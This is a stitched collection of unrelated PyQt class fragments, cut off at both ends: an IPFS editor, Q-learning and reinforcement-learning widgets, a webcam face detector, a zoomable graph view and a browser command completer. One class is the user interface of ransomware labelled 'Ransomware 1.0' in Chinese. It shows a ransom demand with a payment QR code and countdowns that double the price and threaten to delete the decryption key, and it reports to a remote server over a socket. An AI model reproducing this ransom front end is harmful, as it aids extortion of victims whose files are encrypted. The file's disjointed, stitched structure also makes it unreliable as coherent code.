document.filename.replace('.md', '.html') if document.previewDocument.filename and \ self.autoMdHtmlSaveButton.isChecked(): pPath = os.path.join(self.checkoutPath, document.previewDocument.filename) text = document.previewDocument.toHtml() async with aiofiles.open(pPath, 'w+t') as fd: await fd.write(text) document.setModified(False) self.sessionViewUpdate(self.checkoutPath) await self.syncSession() @ipfsOp async def syncSession(self, ipfsop): # Previous session's IPFS path prevSessPath = self.unixDirPath entry = await self.sync() if entry: layout = QHBoxLayout() path = IPFSPath(entry['Hash']) diffButton = None if prevSessPath: # Generate an object diff tooltip changes = await ipfsop.objectDiff(prevSessPath, path) if isinstance(changes, list): diffButton = QToolButton() diffButton.setIcon(getIcon('code-fork.png')) diffButton.setToolTip( objectDiffSummaryShort(changes) ) diffButton.clicked.connect( partialEnsure( self.onShowDiff, path, prevSessPath, changes ) ) urlLabel = IPFSUrlLabel(path) clipButton = IPFSPathClipboardButton(path) pyrDropButton = self.app.mainWindow.getPyrDropButtonFor( path, origin=self.pyramidOrigin ) now = QDateTime.currentDateTime() date = QLabel() date.setText(now.toString('hh:mm:ss')) hmarkButton = HashmarkThisButton(str(path)) publishButton = QToolButton() publishButton.setText('Publish') publishButton.clicked.connect(functools.partial( self.onPublishFile, entry, publishButton)) layout.addWidget(date) layout.addWidget(urlLabel) layout.addWidget(clipButton) if diffButton: layout.addWidget(diffButton) layout.addWidget(hmarkButton) layout.addWidget(pyrDropButton) layout.addItem(QSpacerItem(10, 10, QSizePolicy.Expanding, QSizePolicy.Minimum)) if self.offlineModeButton.isChecked(): layout.addWidget(publishButton) self.copiesLayout.insertLayout(0, layout) self.editHistory.show() self.saveButton.setEnabled(False) @ipfsOp async def publishEntry(self, ipfsop, entry): log.debug('Publishing {}'.format(entry)) try: async for msg in ipfsop.client.dht.provide(entry['Hash']): log.debug('Provide result: {}'.format(msg)) except Exception as err: messageBox('Could not publish') log.debug(str(err)) return False else: return True def onPublishFile(self, entry, pButton): def finished(future): try: result = future.result() if result is True: pButton.setStyleSheet(''' QToolButton { color: green; }''' ) pButton.setText('OK') except: pButton.setText('ERR') ensure(self.publishEntry(entry), futcallback=finished) pButton.setEnabled(False) pButton.setText('Publishing ..') @ipfsOp async def showFromPath(self, ipfsop, ipfsPath): if not await self.checkChanges(): return if not ipfsPath.valid: return self.busy() try: dstdir = self.sessionNew() mimeType, stat = await self.app.rscAnalyzer(ipfsPath) if not stat: self.busy(False) messageBox('Object stat failed') return sInfo = StatInfo(stat) if not await ipfsop.client.get( ipfsPath.objPath, dstdir=dstdir ): raise Exception('Fetch failed') except Exception as err: self.busy(False) messageBox('Error fetching object: {}'.format(str(err))) else: rooted = os.path.join(dstdir, ipfsPath.basename) if os.path.isdir(rooted): path = rooted elif os.path.isfile(rooted): path = dstdir else: path = dstdir self.checkoutPath = path self.sessionViewUpdate(self.checkoutPath) for file in os.listdir(self.checkoutPath): await asyncio.sleep(0) fp = os.path.join(self.checkoutPath, file) mtype = await detectMimeTypeFromFile(fp) # Open first text file we find if mtype and (mtype.isText or mtype.isHtml): await self.openFileFromCheckout(file) break self.fsViewButton.setChecked(True) self.rootMultihashChanged.emit(sInfo.cid) self.busy(False) async def isTextFile(self, path): mtype = await detectMimeTypeFromFile(path) return mtype and (mtype.isText or mtype.isHtml) async def openFileFromCheckout(self, relpath): if not await self.checkChanges(): return self.previewButton.setChecked(False) fp = Path(os.path.join(self.checkoutPath, relpath)) if not fp.exists(): return fsize = fp.stat().st_size if fsize > 0 and not await self.isTextFile(str(fp)): return messageBox('Not a text file') self.busy() basename = relpath doc = self.newDocument(name=basename) cursor = QTextCursor(doc) async for chunk in asyncReadTextFileChunked( str(fp), mode='rt'): await asyncio.sleep(0.1) cursor.insertText(chunk) self.currentDocument = doc self.busy(False) return doc def decode(self, data): for enc in ['utf-8', 'latin1', 'ascii']: try: textData = data.decode(enc) except BaseException: continue else: return enc, textData return None, None
class QLabelsVisualization(QWidget): """ This widget is designed to show Q-values of the state corresponding to cell over which cursor hovers. """ def __init__(self, q_learning: QLearning): """ Constructs widget with four arrows. Takes Q-learning object as input to take Q-values from it. Args: q_learning(QLearning): object that implements Q-learning algorithm """ super().__init__() self._q_learning = q_learning self._layout = QGridLayout() self._q_labels = [QLabel() for _ in range(4)] self._arrows = [QLabel() for _ in range(4)] pics = [ settings.RIGHT_ARROW_BUTTON_IMAGE, settings.LEFT_ARROW_BUTTON_IMAGE, settings.DOWN_ARROW_BUTTON_IMAGE, settings.UP_ARROW_BUTTON_IMAGE ] font = QFont("Impact", weight=QFont.Bold) font.setPixelSize(24) for _q_label, pos in zip(self._q_labels, [(2, 4), (2, 0), (4, 2), (0, 2)]): self._layout.addWidget(_q_label, *pos) _q_label.setAlignment(Qt.AlignCenter) _q_label.setFont(font) _q_label.setFixedSize(QSize(50, 30)) for _arrow, pos, pic in zip(self._arrows, [(2, 3), (2, 1), (3, 2), (1, 2)], pics): self._layout.addWidget(_arrow, *pos) _arrow.setAlignment(Qt.AlignCenter) _arrow.setPixmap(QPixmap(pic).scaled(50, 50, Qt.KeepAspectRatio)) _arrow.setScaledContents(False) self._displayed_coords = None self._timer = QTimer() self._timer.setInterval(settings.VALUE_UPDATE_TIME) self._timer.timeout.connect(self._update) self.setLayout(self._layout) self.setFixedSize(settings.Q_VISUALIZATION_NAILS) def cell_entered(self): """Updates Q-values on the arrows""" cell = self.sender() self._displayed_coords = cell.x, cell.y qvalues = self._q_learning.get_q_values(self._displayed_coords) self._qvalues = [qvalues[2], qvalues[0], qvalues[3], qvalues[1]] for i in range(4): self._q_labels[i].setText(f"{self._qvalues[i]:.2f}") def cell_left(self): """Removes text from arrows if cursor hovers over nothing""" for i in range(4): self._q_labels[i].setText("") def _update(self): all_done = True for i in range(4): self._qvalues[i], done = value_update(self._qvalues[i], self._target_qvalues[i], 0.01) all_done = all_done and done self._q_labels[i].setText(f"{self._qvalues[i]:.2f}") if all_done: self._timer.stop() def values_updates(self, x: int, y: int): """ Notifies widget that cell with coordinates x, y has updated Q-values Args: x - int y - int """ if (x, y) == self._displayed_coords: qvalues = self._q_learning.get_q_values(self._displayed_coords) self._target_qvalues = [ qvalues[2], qvalues[0], qvalues[3], qvalues[1] ] self._timer.start()
class Image(QDialog): def __init__(self): super(Image, self).__init__() loadUi("presentation/Webcam.ui", self) self.image = None self.processed_image = None self.btn_start.clicked.connect(self.start_webcam) self.btn_stop.clicked.connect(self.stop_webcam) self.btn_canny.toggled.connect(self.canny_webcam) self.btn_canny.setCheckable(True) self.canny_enabled = False self.btn_detect.setCheckable(True) self.btn_detect.toggled.connect(self.detect_webcam_face) self.face_enabled = False self.face_cascade = cv2.CascadeClassifier( "data/haarcascade_frontalface_default.xml") def detect_webcam_face(self, status): if status: self.face_enabled = True self.btn_detect.setText("Stop face detection") else: self.face_enabled = False self.btn_detect.setText("Detect") def canny_webcam(self, status): if status: self.canny_enabled = True self.btn_canny.setText("Stop Canny") else: self.canny_enabled = False self.btn_canny.setText("Canny") def start_webcam(self): self.capture = cv2.VideoCapture(0) self.capture.set(cv2.CAP_PROP_FRAME_HEIGHT, 480) self.capture.set(cv2.CAP_PROP_FRAME_WIDTH, 640) self.timer = QTimer(self) self.timer.timeout.connect(self.update_frame) self.timer.start(5) def update_frame(self): ret, self.image = self.capture.read() self.image = cv2.flip(self.image, 1) if self.canny_enabled: gray = cv2.cvtColor(self.image, cv2.COLOR_BGR2GRAY) if len( self.image.shape) >= 3 else self.image self.processed_image = cv2.Canny(gray, 100, 200) self.display_image(self.processed_image, 2) if self.face_enabled: detected_face = self.detect_face(self.image) self.display_image(detected_face, 1) else: self.display_image(self.image, 1) def detect_face(self, img): gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = self.face_cascade.detectMultiScale(gray, 1.3, 5, minSize=(90, 90)) for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2) return img def stop_webcam(self): self.timer.stop() def display_image(self, img, window=1): qformat = QImage.Format_Indexed8 if len(img.shape) == 3: # [0]=row ,[1]=cols, [2]=Channels if img.shape[2] == 4: qformat = QImage.Format_RGBA8888 else: qformat = QImage.Format_RGB888 out_image = QImage(img, img.shape[1], img.shape[0], img.strides[0], qformat) # BGR>>RGB out_image = out_image.rgbSwapped() if window == 1: self.lbl_webcamfeed.setPixmap(QPixmap.fromImage(out_image)) self.lbl_webcamfeed.setScaledContents(True) else: self.lbl_processed_webcamfeed.setPixmap( QPixmap.fromImage(out_image)) self.lbl_processed_webcamfeed.setScaledContents(True)
class ZoomableGraphicView(SelectableGraphicView): # argument is x zoom factor # if argument is -1, then show_full_scene was triggered during zoom zoomed = pyqtSignal(float) def __init__(self, parent=None): super().__init__(parent) self.zoom_in_action = QAction(self.tr("Zoom in"), self) self.zoom_in_action.setShortcut(QKeySequence.ZoomIn) self.zoom_in_action.triggered.connect(self.on_zoom_in_action_triggered) self.zoom_in_action.setShortcutContext(Qt.WidgetWithChildrenShortcut) self.zoom_in_action.setIcon(QIcon.fromTheme("zoom-in")) self.addAction(self.zoom_in_action) self.zoom_out_action = QAction(self.tr("Zoom out"), self) self.zoom_out_action.setShortcut(QKeySequence.ZoomOut) self.zoom_out_action.triggered.connect( self.on_zoom_out_action_triggered) self.zoom_out_action.setShortcutContext(Qt.WidgetWithChildrenShortcut) self.zoom_out_action.setIcon(QIcon.fromTheme("zoom-out")) self.addAction(self.zoom_out_action) self.redraw_timer = QTimer() self.redraw_timer.setSingleShot(True) self.redraw_timer.timeout.connect(self.redraw_view) self.zoomed.connect(self.on_signal_zoomed) self.scene_y_min = float("nan") # NaN = AutoDetect self.scene_y_max = float("nan") # NaN = AutoDetect self.scene_x_zoom_stretch = 1 @property def y_center(self): if not hasattr(self, "scene_type") or self.scene_type == 0: # Normal scene return 0 else: return -self.signal.qad_center @property def scene_type(self): return 0 # gets overwritten in Epic Graphic View def scrollContentsBy(self, dx: int, dy: int): try: super().scrollContentsBy(dx, dy) self.redraw_timer.start(0) except RuntimeError as e: logger.warning("Graphic View already closed: " + str(e)) def zoom(self, factor, zoom_to_mouse_cursor=True, cursor_pos=None): if factor > 1 and self.view_rect().width() / factor < 300: factor = self.view_rect().width() / 300 if zoom_to_mouse_cursor: pos = self.mapFromGlobal( QCursor.pos()) if cursor_pos is None else cursor_pos else: pos = None old_pos = self.mapToScene(pos) if pos is not None else None show_full = False if self.view_rect().width() / factor > self.sceneRect().width(): self.show_full_scene() factor = 1 show_full = True self.scale(factor, 1) if show_full: self.zoomed.emit(-1) else: self.zoomed.emit(factor) if pos is not None: move = self.mapToScene(pos) - old_pos self.translate(move.x(), 0) def wheelEvent(self, event: QWheelEvent): zoom_factor = 1.001**event.angleDelta().y() self.zoom(zoom_factor, cursor_pos=event.pos()) def resizeEvent(self, event): if self.sceneRect().width() == 0: return self.auto_fit_view() def auto_fit_view(self): h_tar = self.sceneRect().height() h_view = self.view_rect().height() if abs(h_tar) > 0: self.scale(1, h_view / h_tar) self.centerOn(self.view_rect().x() + self.view_rect().width() / 2, self.y_center) def show_full_scene(self, reinitialize=False): y_factor = self.transform().m22() self.resetTransform() x_factor = self.view_rect().width() / ( self.sceneRect().width() * self.scene_x_zoom_stretch) if self.sceneRect().width() else 1 self.scale(x_factor, y_factor) self.centerOn(0, self.y_center) self.redraw_view(reinitialize) def zoom_to_selection(self, start: int, end: int): if start == end: return x_factor = self.view_rect().width() / (end - start) self.zoom(x_factor, zoom_to_mouse_cursor=False) self.centerOn(start + (end - start) / 2, self.y_center) def plot_data(self, data): if self.scene_manager is None: self.scene_manager = SceneManager(self) self.scene_manager.minimum = self.scene_y_min self.scene_manager.maximum = self.scene_y_max self.scene_manager.plot_data = data self.scene_manager.init_scene() self.setScene(self.scene_manager.scene) self.scene_manager.show_full_scene() def redraw_view(self, reinitialize=False): if self.scene_manager is not None: self.scene_manager.scene_type = self.scene_type if reinitialize: self.scene_manager.init_scene() vr = self.view_rect() start, end = vr.x(), vr.x() + vr.width() self.scene_manager.show_scene_section( start, end, *self._get_sub_path_ranges_and_colors(start, end)) def _get_sub_path_ranges_and_colors(self, start: float, end: float): # Overwritten in Epic Graphic View return None, None def eliminate(self): self.redraw_timer.stop() super().eliminate() @pyqtSlot() def on_signal_zoomed(self): self.redraw_timer.start(30) @pyqtSlot() def on_zoom_in_action_triggered(self): self.zoom(1.1) @pyqtSlot() def on_zoom_out_action_triggered(self): self.zoom(0.9)
class Ui_MainWindow(QMainWindow,tradeManager): def __init__(self): super(Ui_MainWindow, self).__init__() self.gen_trade(1.) self.hour1 = 0 self.min1 = 0 self.sec1 = 30 self.hour2 = 0 self.min2 = 0 self.sec2 = 60 self.setupUi(self) self.time = QTimer(self) self.time.setInterval(1000) self.time.timeout.connect(self.Refresh) self.time.start() def setupUi(self, MainWindow): MainWindow.resize(900, 600) self.setWindowIcon(QIcon('./icon.png')) self.setWindowTitle("勒索软件1.0") self.setObjectName("MainWindow") self.setStyleSheet("#MainWindow{background-color: rgb(128, 10, 10)}") self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.textBrowser = QtWidgets.QTextBrowser(self.centralwidget) self.textBrowser.setGeometry(QtCore.QRect(250, 100, 600, 200)) self.textBrowser.setObjectName("textBrowser") font1 = QtGui.QFont() font1.setFamily("Arial") # 括号里可以设置成自己想要的其它字体 font1.setPointSize(15) # 括号里的数字可以设置成自己想要的字体大小 self.textBrowser.setFont(font1) self.textBrowser.setText("您好!您的电脑已经中了勒索病毒,您的所有文件都已被加密,请扫描以下二维码支付赎金以便得到解密密钥,赎金的价格为¥1,我们将在12小时之内提高价格到¥2,并于24小时内删除解密密钥。扫码后我们将自动利用获取的解密密钥为您解密。") self.label_warn = QtWidgets.QLabel(self.centralwidget) self.label_warn.setText("哇哦~你的文件被加密了!") self.label_warn.setGeometry(QtCore.QRect(250, 30, 500, 40)) font = QtGui.QFont() font.setFamily("Arial") # 括号里可以设置成自己想要的其它字体 font.setPointSize(20) # 括号里的数字可以设置成自己想要的字体大小 self.label_warn.setFont(font) self.label_warn.setStyleSheet("color:white") pix = QtGui.QPixmap(self.save_path) #print(self.save_path) self.label_qr = QtWidgets.QLabel(self.centralwidget) self.label_qr.setGeometry(410, 320, 250, 250) self.label_qr.setPixmap(pix) self.label_qr.setScaledContents(True) pix = QtGui.QPixmap('./lock.png') self.label_qr = QtWidgets.QLabel(self.centralwidget) self.label_qr.setGeometry(30, 40, 180, 180) self.label_qr.setPixmap(pix) self.label_qr.setScaledContents(True) self.label_time1 = QtWidgets.QLabel(self.centralwidget) self.label_time1.setGeometry(QtCore.QRect(30, 300, 200, 100)) self.label_time1.setFont(font) self.label_time1.setStyleSheet("color:white") self.label_time1.setText("距离提价时间:\n 12:00:00") self.label_time2 = QtWidgets.QLabel(self.centralwidget) self.label_time2.setText("距离撕票时间:\n 24:00:00") self.label_time2.setGeometry(QtCore.QRect(30, 420, 200, 100)) self.label_time2.setFont(font) self.label_time2.setStyleSheet("color:white") MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate # self.pushButton2.setText(_translate("MainWindow", "解密")) def Refresh(self): if self.hour1==0 and self.min1==0 and self.sec1==0: QMessageBox.information(self, # 使用infomation信息框 "提示", "你未在规定时间内支付赎金,所以我们提高了赎金。") self.hour1=-1 self.label_time1.setText("距离提价时间:\n 00:00:00") self.sk.sendall(bytes("3", "utf-8")) print("赎金翻倍")#开始切换二维码 self.flag_watch_and_cancel1 = 0 time.sleep(2) self.flag_watch_and_cancel1 = 1 self.gen_trade(2.) Thread(target=self._watch_and_cancel).start() self.setupUi(self) if self.hour1>=0 and self.min1>=0 and self.sec1>=0: if self.sec1!=0: self.sec1 -= 1 elif self.sec1==0 and self.min1!=0: self.sec1=59 self.min1-=1 elif self.sec1==0 and self.min1==0 and self.hour1!=0: self.hour1-=1 self.min1=59 self.sec1=59 if self.hour2 == 0 and self.min2 == 0 and self.sec2 == 0: QMessageBox.information(self, # 使用infomation信息框 "提示", "你未在规定时间内支付赎金,你的文件和你永别了。") self.time.stop() self.sk.sendall(bytes("4", "utf-8")) if self.hour2 >= 0 and self.min2 >= 0 and self.sec2 >= 0: if self.sec2 != 0: self.sec2 -= 1 elif self.sec2 == 0 and self.min2 != 0: self.sec2 = 59 self.min2 -= 1 elif self.sec2 == 0 and self.min2 == 0 and self.hour2 != 0: self.hour2 -= 1 self.min2 = 59 self.sec2 = 59 hour1=str(self.hour1).rjust(2, '0') min1 = str(self.min1).rjust(2, '0') sec1 = str(self.sec1).rjust(2, '0') hour2 = str(self.hour2).rjust(2, '0') min2 = str(self.min2).rjust(2, '0') sec2 = str(self.sec2).rjust(2, '0') self.label_time1.setText("距离提价时间:\n {}:{}:{}".format(hour1,min1,sec1)) self.label_time2.setText("距离撕票时间:\n {}:{}:{}".format(hour2,min2,sec2)) if self.hour1==-1: self.label_time1.setText("距离提价时间:\n 00:00:00")
class Completer(QObject): """Completer which manages completions in a CompletionView. Attributes: _cmd: The statusbar Command object this completer belongs to. _ignore_change: Whether to ignore the next completion update. _win_id: The window ID this completer is in. _timer: The timer used to trigger the completion update. _cursor_part: The cursor part index for the next completion update. _last_cursor_pos: The old cursor position so we avoid double completion updates. _last_text: The old command text so we avoid double completion updates. _signals_connected: Whether the signals are connected to update the completion when the command widget requests that. Signals: next_prev_item: Emitted to select the next/previous item in the completion. arg0: True for the previous item, False for the next. """ next_prev_item = pyqtSignal(bool) def __init__(self, cmd, win_id, parent=None): super().__init__(parent) self._win_id = win_id self._cmd = cmd self._signals_connected = False self._ignore_change = False self._empty_item_idx = None self._timer = QTimer() self._timer.setSingleShot(True) self._timer.setInterval(0) self._timer.timeout.connect(self.update_completion) self._cursor_part = None self._last_cursor_pos = None self._last_text = None objreg.get('config').changed.connect(self.on_auto_open_changed) self.handle_signal_connections() self._cmd.clear_completion_selection.connect( self.handle_signal_connections) def __repr__(self): return utils.get_repr(self) @config.change_filter('completion', 'auto-open') def on_auto_open_changed(self): self.handle_signal_connections() @pyqtSlot() def handle_signal_connections(self): self._connect_signals(config.get('completion', 'auto-open')) def _connect_signals(self, connect=True): """Connect or disconnect the completion signals. Args: connect: Whether to connect (True) or disconnect (False) the signals. Return: True if the signals were connected (connect=True and aren't connected yet) - otherwise False. """ connections = [ (self._cmd.update_completion, self.schedule_completion_update), (self._cmd.textChanged, self.on_text_edited), ] if connect and not self._signals_connected: for sender, receiver in connections: sender.connect(receiver) self._signals_connected = True return True elif not connect: for sender, receiver in connections: try: sender.disconnect(receiver) except TypeError: # Don't fail if not connected pass self._signals_connected = False return False def _open_completion_if_needed(self): """If auto-open is false, temporarily connect signals. Also opens the completion. """ if not config.get('completion', 'auto-open'): connected = self._connect_signals(True) if connected: self.update_completion() def _model(self): """Convienience method to get the current completion model.""" completion = objreg.get('completion', scope='window', window=self._win_id) return completion.model() def _get_completion_model(self, completion, parts, cursor_part): """Get a completion model based on an enum member. Args: completion: A usertypes.Completion member. parts: The parts currently in the commandline. cursor_part: The part the cursor is in. Return: A completion model. """ if completion == usertypes.Completion.option: section = parts[cursor_part - 1] model = instances.get(completion).get(section) elif completion == usertypes.Completion.value: section = parts[cursor_part - 2] option = parts[cursor_part - 1] try: model = instances.get(completion)[section][option] except KeyError: # No completion model for this section/option. model = None else: model = instances.get(completion) return model def _filter_cmdline_parts(self, parts, cursor_part): """Filter a list of commandline parts to exclude flags. Args: parts: A list of parts. cursor_part: The index of the part the cursor is over. Return: A (parts, cursor_part) tuple with the modified values. """ if parts == ['']: # Empty commandline, i.e. only :. return [''], 0 filtered_parts = [] for i, part in enumerate(parts): if part == '--': break elif part.startswith('-'): if cursor_part >= i: cursor_part -= 1 else: filtered_parts.append(part) return filtered_parts, cursor_part def _get_new_completion(self, parts, cursor_part): """Get a new completion. Args: parts: The command chunks to get a completion for. cursor_part: The part the cursor is over currently. Return: A completion model. """ try: if parts[cursor_part].startswith('-'): # cursor on a flag return except IndexError: pass log.completion.debug("Before filtering flags: parts {}, cursor_part " "{}".format(parts, cursor_part)) parts, cursor_part = self._filter_cmdline_parts(parts, cursor_part) log.completion.debug("After filtering flags: parts {}, cursor_part " "{}".format(parts, cursor_part)) if cursor_part == 0: # '|' or 'set|' return instances.get(usertypes.Completion.command) # delegate completion to command try: completions = cmdutils.cmd_dict[parts[0]].completion except KeyError: # entering an unknown command return None if completions is None: # command without any available completions return None dbg_completions = [c.name for c in completions] try: idx = cursor_part - 1 completion = completions[idx] except IndexError: # More arguments than completions log.completion.debug("completions: {}".format( ', '.join(dbg_completions))) return None dbg_completions[idx] = '*' + dbg_completions[idx] + '*' log.completion.debug("completions: {}".format( ', '.join(dbg_completions))) model = self._get_completion_model(completion, parts, cursor_part) return model def _quote(self, s): """Quote s if it needs quoting for the commandline. Note we don't use shlex.quote because that quotes a lot of shell metachars we don't need to have quoted. """ if not s: return "''" elif any(c in s for c in ' \'\t\n\\'): # use single quotes, and put single quotes into double quotes # the string $'b is then quoted as '$'"'"'b' return "'" + s.replace("'", "'\"'\"'") + "'" else: return s def selection_changed(self, selected, _deselected): """Change the completed part if a new item was selected. Called from the views selectionChanged method. Args: selected: New selection. _delected: Previous selection. """ indexes = selected.indexes() if not indexes: return model = self._model() data = model.data(indexes[0]) if data is None: return parts = self.split() try: needs_quoting = cmdutils.cmd_dict[parts[0]].maxsplit is None except KeyError: needs_quoting = True if needs_quoting: data = self._quote(data) if model.count() == 1 and config.get('completion', 'quick-complete'): # If we only have one item, we want to apply it immediately # and go on to the next part. self.change_completed_part(data, immediate=True) else: log.completion.debug("Will ignore next completion update.") self._ignore_change = True self.change_completed_part(data) @pyqtSlot() def schedule_completion_update(self): """Schedule updating/enabling completion. For performance reasons we don't want to block here, instead we do this in the background. """ if (self._cmd.cursorPosition() == self._last_cursor_pos and self._cmd.text() == self._last_text): log.completion.debug("Ignoring update because there were no " "changes.") else: log.completion.debug("Scheduling completion update.") self._timer.start() self._last_cursor_pos = self._cmd.cursorPosition() self._last_text = self._cmd.text() @pyqtSlot() def update_completion(self): """Check if completions are available and activate them.""" self.update_cursor_part() parts = self.split() log.completion.debug( "Updating completion - prefix {}, parts {}, cursor_part {}".format( self._cmd.prefix(), parts, self._cursor_part)) if self._ignore_change: log.completion.debug("Ignoring completion update because " "ignore_change is True.") self._ignore_change = False return completion = objreg.get('completion', scope='window', window=self._win_id) if self._cmd.prefix() != ':': # This is a search or gibberish, so we don't need to complete # anything (yet) # FIXME complete searches # https://github.com/The-Compiler/qutebrowser/issues/32 completion.hide() return model = self._get_new_completion(parts, self._cursor_part) if model != self._model(): if model is None: completion.hide() else: completion.set_model(model) if model is None: log.completion.debug("No completion model for {}.".format(parts)) return try: pattern = parts[self._cursor_part].strip() except IndexError: pattern = '' completion.set_pattern(pattern) log.completion.debug( "New completion for {}: {}, with pattern '{}'".format( parts, model.srcmodel.__class__.__name__, pattern)) if self._model().count() == 0: completion.hide() return if completion.enabled: completion.show() def split(self, keep=False, aliases=False): """Get the text split up in parts. Args: keep: Whether to keep special chars and whitespace. aliases: Whether to resolve aliases. """ text = self._cmd.text()[len(self._cmd.prefix()):] if not text: # When only ":" is entered, we already have one imaginary part, # which just is empty at the moment. return [''] if not text.strip(): # Text is only whitespace so we treat this as a single element with # the whitespace. return [text] runner = runners.CommandRunner(self._win_id) result = runner.parse(text, fallback=True, aliases=aliases, keep=keep) parts = result.cmdline if self._empty_item_idx is not None: log.completion.debug("Empty element queued at {}, " "inserting.".format(self._empty_item_idx)) parts.insert(self._empty_item_idx, '') #log.completion.debug("Splitting '{}' -> {}".format(text, parts)) return parts @pyqtSlot() def update_cursor_part(self): """Get the part index of the commandline where the cursor is over.""" cursor_pos = self._cmd.cursorPosition() snippet = slice(cursor_pos - 1, cursor_pos + 1) if self._cmd.text()[snippet] == ' ': spaces = True else: spaces = False cursor_pos -= len(self._cmd.prefix()) parts = self.split(keep=True) log.completion.vdebug( "text: {}, parts: {}, cursor_pos after removing prefix '{}': " "{}".format(self._cmd.text(), parts, self._cmd.prefix(), cursor_pos)) skip = 0 for i, part in enumerate(parts): log.completion.vdebug("Checking part {}: {!r}".format(i, parts[i])) if not part: skip += 1 continue if cursor_pos <= len(part): # foo| bar self._cursor_part = i - skip if spaces: self._empty_item_idx = i - skip else: self._empty_item_idx = None log.completion.vdebug("cursor_pos {} <= len(part) {}, " "setting cursor_part {} - {} (skip), " "empty_item_idx {}".format( cursor_pos, len(part), i, skip, self._empty_item_idx)) break cursor_pos -= len(part) log.completion.vdebug( "Removing len({!r}) -> {} from cursor_pos -> {}".format( part, len(part), cursor_pos)) else: if i == 0: # Initial `:` press without any text. self._cursor_part = 0 else: self._cursor_part = i - skip if spaces: self._empty_item_idx = i - skip else: self._empty_item_idx = None log.completion.debug("cursor_part {}, spaces {}".format( self._cursor_part, spaces)) return def change_completed_part(self, newtext, immediate=False): """Change the part we're currently completing in the commandline. Args: text: The text to set (string). immediate: True if the text should be completed immediately including a trailing space and we shouldn't continue completing the current item. """ parts = self.split() log.completion.debug("changing part {} to '{}'".format( self._cursor_part, newtext)) try: parts[self._cursor_part] = newtext except IndexError: parts.append(newtext) # We want to place the cursor directly after the part we just changed. cursor_str = self._cmd.prefix() + ' '.join( parts[:self._cursor_part + 1]) if immediate: # If we should complete immediately, we want to move the cursor by # one more char, to get to the next field. cursor_str += ' ' text = self._cmd.prefix() + ' '.join(parts) if immediate and self._cursor_part == len(parts) - 1: # If we should complete immediately and we're completing the last # part in the commandline, we automatically add a space. text += ' ' self._cmd.setText(text) log.completion.debug("Placing cursor after '{}'".format(cursor_str)) log.modes.debug("Completion triggered, focusing {!r}".format(self)) self._cmd.setCursorPosition(len(cursor_str)) self._cmd.setFocus() self._cmd.show_cmd.emit() @pyqtSlot() def on_text_edited(self): """Reset _empty_item_idx if text was edited.""" self._empty_item_idx = None # We also want to update the cursor part and emit update_completion # here, but that's already done for us by cursorPositionChanged # anyways, so we don't need to do it twice. @cmdutils.register(instance='completer', hide=True, modes=[usertypes.KeyMode.command], scope='window') def completion_item_prev(self): """Select the previous completion item.""" self._open_completion_if_needed() self.next_prev_item.emit(True) @cmdutils.register(instance='completer', hide=True, modes=[usertypes.KeyMode.command], scope='window') def completion_item_next(self): """Select the next completion item.""" self._open_completion_if_needed() self.next_prev_item.emit(False) @cmdutils.register(instance='completion', hide=True, modes=[usertypes.KeyMode.command], scope='window') def completion_item_del(self): """Delete the current completion item.""" completion = objreg.get('completion', scope='window', window=self._win_id) if not completion.currentIndex().isValid(): raise cmdexc.CommandError("No item selected!") try: self.model().srcmodel.delete_cur_item(completion) except NotImplementedError: raise cmdexc.CommandError("Cannot delete this item.")
class AutomaticRL(QWidget): """ This class represents a widget for the Q-learning mode. It consists of play/step buttons, labels for visualization of Q-values for hovered cell. It uses instance of `logic.gameLogic.GameLogic` as an environment for RL agent. """ made_step_signal = pyqtSignal() user_interacted = pyqtSignal() def _init_ui(self): self._command_layout = QVBoxLayout() # Text label self._description_label = QLabel() self._description_label.setFont(QFont("Pacifico", 14, QFont.Normal)) self._description_label.setAlignment(Qt.AlignCenter) self._description_label.setText(settings.Q_LEARNING_DESCRIPTION) self._description_label.setSizePolicy( QSizePolicy(QSizePolicy.Preferred, QSizePolicy.Maximum)) self._description_label.setFixedSize( settings.AUTO_RL_DESCRIPTION_NAILS) self._command_layout.addWidget(self._description_label, 0, Qt.AlignHCenter) # q-values visualization self._qlabels = QLabelsVisualization(self._q_learning) self._command_layout.addWidget(self._qlabels, 0, Qt.AlignHCenter) # rl buttons self._buttons = QWidget() self._buttons_layout = QHBoxLayout() self._play_button = Button(settings.PLAY_BUTTON_IMAGE) self._next_step_button = Button(settings.STEP_BUTTON_IMAGE) self._buttons_layout.addWidget(self._play_button) self._buttons_layout.addWidget(self._next_step_button) self._buttons.setLayout(self._buttons_layout) self._buttons.setFixedWidth(settings.BUTTONS_NAILS_WIDTH) self._command_layout.addWidget(self._buttons, 0, Qt.AlignHCenter) self.setLayout(self._command_layout) def __init__(self, game_screen: GameScreen): """ Constructs an AutomaticRL widget. AutomaticRL widget needs `game_screen` to update information in cells about Q-values. Args: game_screen - GameScreen instance. """ super().__init__() self._game_screen = game_screen self._params = GameParams(Modes.AUTOMATICRL, game_height=settings.GAME_HEIGHT, game_width=settings.GAME_WIDTH, lava_random=settings.AUTOMATIC_LAVA_RANDOM, lava_reward=settings.LAVA_REWARD, lava_is_terminal=True, green_random=settings.GREEN_RANDOM, green_reward=settings.GREEN_REWARD, green_is_terminal=True) self._logic = GameLogic(self._params) self._q_learning = QLearning(self._logic) self._playing = False self._timer = QTimer() self._timer.timeout.connect(self._next_step) self._init_ui() # connecting player buttons self._play_button.clicked.connect(self._play) self._next_step_button.clicked.connect(self._next_step_click) self.made_step_signal.connect(game_screen.update_screen) def enter_mode(self): """Replaces game screen logic with RL environment and resets cells.""" self._game_screen.change_logic(self._logic) self.init_cells() def exit_mode(self): """Stops playing. Used when current mode is being changed.""" if self._playing: self._playing = False self._timer.stop() return def init_cells(self): """ Reinitializes self if cells have changed. Internally does two things: 1. Connects signals to new cells; 2. Resets values for each cell. #TODO: if graphic scene will be switched without scene reinitialization (see issue #44), this function will not be required. """ # connecting mouse hover from cells to our q-values visualization for cell in self._game_screen.cells: cell.enter_signal.connect(self._qlabels.cell_entered) cell.leave_signal.connect(self._qlabels.cell_left) # initialize values for i in range(self._logic.game_size[0]): for j in range(self._logic.game_size[1]): self._game_screen.set_cell_value(i, j, 0.) for pos in self._logic.terminal_cells: reward = self._logic.game_board.cell_reward(pos) 